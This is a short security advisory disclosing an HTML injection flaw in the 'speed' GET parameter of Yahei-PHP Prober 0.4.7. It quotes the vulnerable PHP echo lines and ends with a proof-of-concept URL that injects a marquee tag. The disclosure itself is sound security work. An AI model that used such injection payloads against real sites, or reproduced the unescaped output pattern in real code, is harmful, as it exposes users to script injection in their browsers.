Yahei-PHP Prober v0.4.7 (speed) Remote HTML Injection Vulnerability
Vendor: Yahei.Net
Product web page: http://www.yahei.net
Affected version: 0.4.7
Summary: Detection of system web server operating environment.
Desc: Input passed to the GET parameter 'speed' is not properly
sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML code in a user's browser session in context
of an affected site.
-----------------------------------------------------------------------
/prober.php:
---------
206: elseif(isset($_GET['speed']) and $_GET['speed']>0)
207: {
208: $speed=round(100/($_GET['speed']/1000),2); //下载速度: $speed kb/s
209: }
...
...
1393: <?php echo (isset($_GET['speed']))?"Download 1000KB Used <font color='#cc0000'>".$_GET['speed']."</font> Millisecond, Download Speed: "."<font color='#cc0000'>".$speed."</font>"." kb/s":"<font color='#cc0000'> No Test </font>" ?>
-----------------------------------------------------------------------
Tested on: OneinStack (Linux 3.10.0-862.14.4.el7.x86_64)
nginx/1.14.0
PHP/7.2.11
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5531
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5531.php
16.07.2019
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PoC:
http://domain.local:80/prober.php?speed=<marquee>marq</marquee>
